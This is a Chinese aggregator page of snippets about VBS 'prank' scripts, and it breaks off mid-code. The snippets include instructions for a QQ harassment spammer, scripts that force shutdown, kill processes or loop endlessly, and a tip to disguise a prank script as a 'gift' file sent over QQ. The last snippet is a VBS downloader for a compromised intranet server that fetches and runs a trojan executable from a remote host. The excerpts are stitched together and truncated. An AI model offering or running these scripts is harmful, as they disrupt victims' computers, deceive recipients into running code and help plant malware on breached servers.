VBS整人代码】的更多相关文章

今天又看到有人在群里刷屏了.就想到了以前玩过的发QQ骚扰信息程序了.其实蛮简单的 和网上很多的整人代码差不多 一.直接在网上搜索“VBS整人代码”,然后找到有用的代码复制着. ps:在网上有很多有意思的整人代码,但是也有很多恶意的代码,小心自己先中招 二.在电脑桌面上新建一个记事本文件,将代码复制进去,保存,然后再将文件的后缀从***.txt改成***.vbs 当然你也可以根据自己的需要修改一些你复制的代码 ps:有些是可以改的,有些是不能改.这个你可以自己尝试. 三.就发骚扰信息的代码的使用方…
vbe与vbs整人代码大全,包括强制自动关机.打开无数计算器.无限循环等vbs整人代码,感兴趣的朋友参考下.vbe与vbs整人代码例子:set s=createobject("wscript.shell")set bag=getobject("winmgmts:\\.\root\cimv2")set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")…
记得刚开始学VB脚本语言的时候,写了一段调用系统进程的代码,挺好的: dim wshif msgbox("笑笑很帅",vbyesno,"请回答是或否")=vbyes thenmsgbox"你真聪明!"elseif msgbox("你确定?",vbyesno,"请慎重")=vbyes thenmsgbox"请抓紧保存未保存文件!30s后关机!!!"set wsh=createobject(…
在网上查找资料的时候发现好多经典的vbs代码收集起来也为了以后学习. VBS播放音乐 Dim wmp Set wmp = CreateObject("WMPlayer.OCX") wmp.openState wmp.URL = "想象之中.mp3" Do Until wmp.playState = 1 WScript.Sleep 1000 Loop 比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了) Set shell=CreateObje…
恶作剧的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了,将下面的任意一段代码保存为*.vbs即可 循环弹窗: do msgbox "hi" loop 英文报数: Set s = CreateObject("sapi.spvoice") i= do s.speak i i=i+ loop 打开计算器: Set ws = CreateObject("Wscript.Shell") ws.run 删除e…
'=========================================================================='' VBScript Source File -- Created with SAPIEN Technologies PrimalScript 4.1'' NAME: '' AUTHOR: Windows 用户 , AEBELL' DATE : 2014/7/7'' COMMENT: ''=============================…
(一)VBS常用函数使用笔记: 1.Msgbox语法:msgbox "对话框内容", , "对话框的标题" 2.inputbox是VBS内建的函数,可以接受输入的内容,其语法格式为:Inputbox("对话框内容","对话框标题") 3.所有单引号后面的内容都被解释为注释. 4.Set是Vbs指令,凡是将一对象引用赋给变量,就需要使用set关键字.那么什么是对象引用呢?凡是字符串.数值.布尔值之外的变量都是对象引用. 5.ru…
一些很恶作剧的vbs程序代码 作者: 字体:[增加 减小] 类型:转载 时间:2013-01-16我要评论 恶作剧的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了,将下面的任意一段代码保存为*.vbs即可 操作方法:把代码保存为*.VBS运行即可 经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束WSCRIPT或cscript进程即可. 复制代码代码如下: do msgbox "hi" loop …
我这边安装samba只用了两步 第一步 sudo apt-get install samba 第二步 sudo vi /etc/samba/smb.conf 主要修改点如下,去掉注释或者修改=右边的值 omment = Home Directories browseable = no read only = no create mask = 0777 directory mask = 0777 valid users = %S samba安装参考百度经验:https://jingyan.baid…
当拿到shell到手,服务器是内网,你又没有条件映射,服务器又穿不上东西 是不是很郁闷,还有我们还有vbs,能执行cmd命令就有希望 一.VBS下载者: 复制代码 代码如下: Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.jbzj.com/muma.exe"…